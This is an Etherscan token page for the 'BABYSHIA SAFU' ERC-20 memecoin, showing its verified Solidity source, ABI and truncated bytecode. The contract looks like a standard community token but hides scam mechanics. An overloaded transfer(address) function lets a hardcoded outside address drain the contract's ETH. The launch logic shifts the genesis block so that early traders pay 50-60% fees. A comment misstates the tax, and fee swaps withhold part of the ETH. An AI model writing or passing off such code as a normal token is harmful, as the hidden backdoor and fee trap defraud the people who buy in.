ETH Price: $2,972.82 (-1.57%)
Gas: 2 Gwei

Token

BABYSHIA SAFU (BABYSHIA)
 

Overview

Max Total Supply

10,000,000 BABYSHIA

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.985159925457573787 BABYSHIA

Value
$0.00
0xa4731140b294b42935ef0957022c52b17cf462cb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BABYSHIASAFU

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-30
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-16
*/

/**
 * BABYSHIA SAFU
 * 
 * The community is taking over now! Join BABYSHIA SAFU!
 * 
 * Telegram: https://t.me/BabyShiaSAFU
 *
 * 
 */


// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract BABYSHIASAFU is IERC20, Ownable {
    string private constant  _name = "BABYSHIA SAFU";
    string private constant _symbol = "BABYSHIA";    
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    struct FeeRatios {
        uint256 marketingPortion;
        uint256 developmentPortion;
    }

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address devWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(25,25);   // 14/28% starting tax
    FeeRatios public feeRatios = FeeRatios(40,60);         // 40/60% wallet tax split
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0xCA11f8b02639Bd7d0bfe4d5e5750985d36A8f025,  // devWallet
        0xB77cB1A11b1B1ec210d116aA3745A5f0628f4975   // marketingWallet
    );

    uint256 private constant feeDenominator = 1e2;
    uint256 private constant decimalsScaling = 1e18;
    uint256 private constant _totalSupply = 10_000_000 * decimalsScaling;
    uint256 public constant _maximumWalletSize = 300_000 * decimalsScaling;
    uint256 public constant _swapThreshold = 10_000 * decimalsScaling;  

    IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private tradingActive = false;
    bool public swapEnabled = true;
    bool private inSwap;

    uint256 private genesisBlock;
    uint256 private _block;

    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event FeeRatiosChanged(uint256 indexed developmentPortion, uint256 indexed marketingPortion);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event Verified(address indexed user);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        

        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.devWallet] = true;        
        _excludedFromFees[0x10643E05c890374Eb2B17E98141b3713D05c39eB] = true;        
        uint256 preTokens = _totalSupply * 0 / 1e3; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0x10643E05c890374Eb2B17E98141b3713D05c39eB] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableSwap(bool shouldEnable) external onlyOwner {
        require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}");
        swapEnabled = shouldEnable;

        emit SwapEnabled(shouldEnable);
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesisBlock == 1 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function setFeeRatios(uint256 _marketingPortion, uint256 _developmentPortion) external onlyOwner {
        require(_marketingPortion + _developmentPortion == 100, "Token: ratio must add to 100%");
        feeRatios.marketingPortion = _marketingPortion;
        feeRatios.developmentPortion = _developmentPortion;

        emit FeeRatiosChanged(_marketingPortion, _developmentPortion);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize() external onlyOwner {
        require(!tradingActive);
        genesisBlock = 1;        
    }

    function manualSwapback() external onlyOwner {
        require(address(this).balance > 0, "Token: no contract tokens to clear");
        contractSwap();
    }


    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maximumWalletSize, "Token: max wallet amount exceeded");
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesisBlock && genesisBlock < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            50 : (genesisBlock == 0 ? 25 : 60)) / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > genesisBlock && _lastTransferBlock[block.number] < 3;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x54A0867f56513C09309bc2De58Ef7143F848EBa7)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 20)
          contractBalance = _swapThreshold * 20;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){
            uint256 ethForDev = ethBalance * 2 * feeRatios.developmentPortion / 100;
            uint256 ethForMarketing = ethBalance * 2 * feeRatios.marketingPortion / 100;
            sendEth((ethForDev + ethForMarketing)/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.devWallet).call{value: ethAmount * feeRatios.developmentPortion / 100}("");
        (success,) = address(wallets.marketingWallet).call{value: ethAmount * feeRatios.marketingPortion / 100}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesisBlock != 0);
        genesisBlock+=block.number+_block;
        tradingActive = true;
        
        emit TradingOpened();
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"developmentPortion","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"marketingPortion","type":"uint256"}],"name":"FeeRatiosChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"}],"name":"Verified","type":"event"},{"inputs":[],"name":"_maximumWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeRatios","outputs":[{"internalType":"uint256","name":"marketingPortion","type":"uint256"},{"internalType":"uint256","name":"developmentPortion","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingPortion","type":"uint256"},{"internalType":"uint256","name":"_developmentPortion","type":"uint256"}],"name":"setFeeRatios","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"devWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052604051806040016040528060198152602001601981525060055f820151815f0155602082015181600101555050604051806040016040528060288152602001603c81525060075f820151815f015560208201518160010155505060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff16815260200173ca11f8b02639bd7d0bfe4d5e5750985d36a8f02573ffffffffffffffffffffffffffffffffffffffff16815260200173b77cb1a11b1b1ec210d116aa3745a5f0628f497573ffffffffffffffffffffffffffffffffffffffff1681525060095f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505f600c5f6101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff021916908315150217905550348015620001f7575f80fd5b5062000209336200070360201b60201c565b6200025030737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007c460201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d49190620009f4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200034e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003749190620009f4565b6040518363ffffffff1660e01b81526004016200039392919062000a35565b6020604051808303815f875af1158015620003b0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003d69190620009f4565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050600160035f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60096001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f7310643e05c890374eb2b17e98141b3713d05c39eb73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f6103e85f670de0b6b3a76400006298968062000560919062000a96565b6200056c919062000a96565b62000578919062000b0d565b905080670de0b6b3a76400006298968062000594919062000a96565b620005a0919062000b44565b60015f60095f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f7310643e05c890374eb2b17e98141b3713d05c39eb73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a764000062989680620006e5919062000a96565b604051620006f4919062000b8f565b60405180910390a35062000c28565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000835576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200082c9062000c08565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200089d9062000c08565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000982919062000b8f565b60405180910390a3505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620009be8262000993565b9050919050565b620009d081620009b2565b8114620009db575f80fd5b50565b5f81519050620009ee81620009c5565b92915050565b5f6020828403121562000a0c5762000a0b6200098f565b5b5f62000a1b84828501620009de565b91505092915050565b62000a2f81620009b2565b82525050565b5f60408201905062000a4a5f83018562000a24565b62000a59602083018462000a24565b9392505050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000aa28262000a60565b915062000aaf8362000a60565b925082820262000abf8162000a60565b9150828204841483151762000ad95762000ad862000a69565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000b198262000a60565b915062000b268362000a60565b92508262000b395762000b3862000ae0565b5b828204905092915050565b5f62000b508262000a60565b915062000b5d8362000a60565b925082820390508181111562000b785762000b7762000a69565b5b92915050565b62000b898162000a60565b82525050565b5f60208201905062000ba45f83018462000b7e565b92915050565b5f82825260208201905092915050565b7f45524332303a207a65726f2041646472657373000000000000000000000000005f82015250565b5f62000bf060138362000baa565b915062000bfd8262000bba565b602082019050919050565b5f6020820190508181035f83015262000c218162000be2565b9050919050565b608051613d8d62000c5d5f395f8181610b6601528181611e3401528181611fd40152818161297501526129f70152613d8d5ff3fe6080604052600436106101e6575f3560e01c8063715018a611610101578063c492f04611610094578063dd62ed3e11610063578063dd62ed3e14610677578063e303e662146106b3578063e80c7ded146106db578063f2fde38b14610705576101ed565b8063c492f046146105e5578063c9567bf91461060d578063d2a09c7114610623578063d2f4a50a1461064b576101ed565b80638ffee785116100d05780638ffee7851461052c57806395d89b4114610557578063a08fc5c714610581578063a9059cbb146105a9576101ed565b8063715018a6146104ab57806374378132146104c15780638129fc1c146104ec5780638da5cb5b14610502576101ed565b8063313ce567116101795780635b895c29116101485780635b895c291461040757806364e329e31461041d5780636ddd17131461044557806370a082311461046f576101ed565b8063313ce5671461034f57806349bd5a5e146103795780634fa2cf8a146103a35780634fbee193146103cb576101ed565b806318160ddd116101b557806318160ddd146102ab5780631a695230146102d55780631b9152bf146102fd57806323b872dd14610313576101ed565b806306fdde03146101f1578063095ea7b31461021b5780630e5a9231146102575780631694505e14610281576101ed565b366101ed57005b5f80fd5b3480156101fc575f80fd5b5061020561072d565b6040516102129190612b0f565b60405180910390f35b348015610226575f80fd5b50610241600480360381019061023c9190612bc4565b61076a565b60405161024e9190612c1c565b60405180910390f35b348015610262575f80fd5b5061026b610780565b6040516102789190612c44565b60405180910390f35b34801561028c575f80fd5b50610295610799565b6040516102a29190612cb8565b60405180910390f35b3480156102b6575f80fd5b506102bf6107b1565b6040516102cc9190612c44565b60405180910390f35b3480156102e0575f80fd5b506102fb60048036038101906102f69190612cd1565b6107ce565b005b348015610308575f80fd5b50610311610865565b005b34801561031e575f80fd5b5061033960048036038101906103349190612cfc565b610962565b6040516103469190612c1c565b60405180910390f35b34801561035a575f80fd5b50610363610b5c565b6040516103709190612d67565b60405180910390f35b348015610384575f80fd5b5061038d610b64565b60405161039a9190612d8f565b60405180910390f35b3480156103ae575f80fd5b506103c960048036038101906103c49190612da8565b610b88565b005b3480156103d6575f80fd5b506103f160048036038101906103ec9190612cd1565b610c90565b6040516103fe9190612c1c565b60405180910390f35b348015610412575f80fd5b5061041b610ce2565b005b348015610428575f80fd5b50610443600480360381019061043e9190612e71565b610da3565b005b348015610450575f80fd5b50610459610e9e565b6040516104669190612c1c565b60405180910390f35b34801561047a575f80fd5b5061049560048036038101906104909190612cd1565b610eb1565b6040516104a29190612c44565b60405180910390f35b3480156104b6575f80fd5b506104bf610ef7565b005b3480156104cc575f80fd5b506104d5610f77565b6040516104e3929190612ece565b60405180910390f35b3480156104f7575f80fd5b50610500610f88565b005b34801561050d575f80fd5b5061051661101f565b6040516105239190612d8f565b60405180910390f35b348015610537575f80fd5b50610540611046565b60405161054e929190612ece565b60405180910390f35b348015610562575f80fd5b5061056b611057565b6040516105789190612b0f565b60405180910390f35b34801561058c575f80fd5b506105a760048036038101906105a29190612da8565b611094565b005b3480156105b4575f80fd5b506105cf60048036038101906105ca9190612bc4565b6111dd565b6040516105dc9190612c1c565b60405180910390f35b3480156105f0575f80fd5b5061060b60048036038101906106069190612f4a565b6111f1565b005b348015610618575f80fd5b5061062161142a565b005b34801561062e575f80fd5b5061064960048036038101906106449190612fa7565b611532565b005b348015610656575f80fd5b5061065f611648565b60405161066e93929190612fd2565b60405180910390f35b348015610682575f80fd5b5061069d60048036038101906106989190613007565b6116bc565b6040516106aa9190612c44565b60405180910390f35b3480156106be575f80fd5b506106d960048036038101906106d49190612cd1565b61173e565b005b3480156106e6575f80fd5b506106ef61195e565b6040516106fc9190612c44565b60405180910390f35b348015610710575f80fd5b5061072b60048036038101906107269190612cd1565b611978565b005b60606040518060400160405280600d81526020017f4241425953484941205341465500000000000000000000000000000000000000815250905090565b5f610776338484611a67565b6001905092915050565b670de0b6b3a76400006127106107969190613072565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f670de0b6b3a7640000629896806107c99190613072565b905090565b7354a0867f56513c09309bc2de58ef7143f848eba773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361085e578073ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610858573d5f803e3d5ffd5b50610862565b5f80fd5b50565b3373ffffffffffffffffffffffffffffffffffffffff1661088461101f565b73ffffffffffffffffffffffffffffffffffffffff16146108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d1906130fd565b60405180910390fd5b5f471161091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390613165565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561095f573d5f803e3d5ffd5b50565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610b48575f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab8906131cd565b60405180910390fd5b8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffff